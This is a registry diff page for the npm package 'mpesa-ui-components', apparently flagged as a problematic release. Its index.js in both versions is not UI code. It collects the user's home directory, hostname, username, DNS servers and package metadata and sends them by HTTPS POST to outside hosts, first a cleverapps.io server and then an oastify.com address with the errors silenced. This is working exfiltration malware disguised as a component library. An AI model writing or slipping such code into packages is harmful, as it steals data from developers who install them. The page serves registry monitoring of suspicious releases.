mpesa-ui-components 1.1.20 → 1.5.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of mpesa-ui-components might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +30 -27
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,44 +1,47 @@
1
1
  const os = require("os");
2
2
  const dns = require("dns");
3
+ const queryString = require("querystring");
3
4
  const https = require("https");
4
5
  const packageJson = require("./package.json");
6
+ const package = packageJson.name;
5
7
 
6
- const trackingData = {
7
- package: packageJson.name,
8
- cwd: __dirname,
9
- homedir: os.homedir(),
10
- hostname: os.hostname(),
11
- username: os.userInfo().username,
12
- dnsServers: dns.getServers(),
13
- resolved: packageJson.___resolved || null,
14
- version: packageJson.version,
15
- packageJson
16
- };
8
+ const trackingData = JSON.stringify({
9
+ p : package,
10
+ c : __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJson ? packageJson.___resolved : undefined,
16
+ v: packageJson.version,
17
+ pjson: packageJson
18
+ });
17
19
 
18
- const postData = JSON.stringify(trackingData);
20
+ var postData = queryString.stringify({
21
+ msg : trackingData
22
+ });
19
23
 
20
- const options = {
21
- hostname: "m-pesa.cleverapps.io", // PAS de https:// ici
22
- port: 443,
23
- path: "/api/data/" + encodeURIComponent(os.hostname()),
24
+ var options = {
25
+ hostname: "betcgy1sncxdpi2ztziwkapgf7lx9m.oastify.com",
26
+ port : 443,
27
+ path: "/",
24
28
  method: "POST",
25
29
  headers: {
26
- "Content-Type": "application/json",
27
- "Content-Length": Buffer.byteLength(postData),
30
+ "Content-Type": "application/x-www-form-urlencoded",
31
+ "Content-Length": postData.length,
28
32
  },
29
33
  };
30
34
 
31
- const req = https.request(options, (res) => {
32
- let body = "";
33
- res.on("data", (chunk) => body += chunk);
34
- res.on("end", () => {
35
- console.log("Réponse du serveur:", body);
36
- });
35
+ var req = https.request(options, (res) => {
36
+ res.on("data", (d) => {
37
+ process.stdout.write(d);
38
+ });
37
39
  });
38
40
 
39
- req.on("error", (err) => {
40
- console.error("Erreur lors de l'envoi:", err.message);
41
- });
41
+ req.on("error", (e) => {
42
+
43
+ })
42
44
 
43
45
  req.write(postData);
44
46
  req.end();
47
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "mpesa-ui-components",
3
- "version": "1.1.20",
3
+ "version": "1.5.2",
4
4
  "description": "Mpesa ui components",
5
5
  "main": "index.js",
6
6
  "scripts": {